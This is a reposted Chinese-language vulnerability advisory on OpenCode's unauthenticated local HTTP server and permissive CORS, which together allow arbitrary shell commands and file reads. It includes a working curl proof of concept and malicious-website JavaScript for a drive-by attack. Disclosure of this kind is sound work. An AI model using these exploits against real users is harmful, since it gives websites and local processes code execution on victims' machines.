文章总结: 该文档披露OpenCode存在严重安全漏洞,其自动启动的HTTP服务器未进行身份验证,暴露了执行任意命令和读取文件的端点。由于配置了宽松的CORS策略,恶意网站可利用此漏洞对本地发起路过式攻击,建议用户立即限制端口或停止使用受影响版本。 综合评分: 86 文章分类: 漏洞分析,漏洞POC,漏洞预警,WEB安全,应用安全
OpenCode 未经身份验证的HTTP服务器允许执行任意命令
TtTeam
2026年1月31日 08:37 海南
概括
OpenCode 会自动启动一个未经身份验证的 HTTP 服务器,允许任何本地进程(或通过宽松 CORS 的任何网站)以用户的权限执行任意 shell 命令。
细节
OpenCode 启动时会启动一个 HTTP 服务器(默认端口 4096 及以上),且不进行身份验证。暴露的关键端点包括:
POST /session/:id/shell- 执行 shell 命令 ( server.ts:1401)POST /pty- 创建交互式终端会话(server.ts:267)GET /file/content?path=- 读取任意文件(server.ts:1868)cli/cmd/tui/worker.ts:36服务器通过以下方式自动启动Server.listen()
系统中不存在身份验证中间件server/server.ts。服务器使用宽松的 CORS(.use(cors())默认值为Access-Control-Allow-Origin: *),这使得基于浏览器的攻击成为可能。
概念验证
API="http://127.0.0.1:4096" # update with actual portSESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \ -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'cat /tmp/pwned.txt # outputs: PWNED
基于浏览器的漏洞利用
恶意网站可以利用运行 OpenCode 的访问者的漏洞。已在 Firefox 中验证有效。如有需要,可提供概念验证 (PoC)。
// Malicious website JavaScriptfetch('http://127.0.0.1:4096/session', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: '{}'}).then(r => r.json()).then(session => { fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'}) });});
影响
通过两种途径进行远程代码执行
本地进程:任何恶意 npm 包、脚本或被入侵的应用程序都可以以运行 OpenCode 的用户身份执行命令。
基于浏览器的攻击(已在 Firefox 中验证):任何网站都可以对运行 OpenCode 的访问者执行命令。这使得恶意广告、被入侵的网站或钓鱼页面能够发起“路过式攻击”。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:TtTeam 《OpenCode 未经身份验证的HTTP服务器允许执行任意命令》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。







评论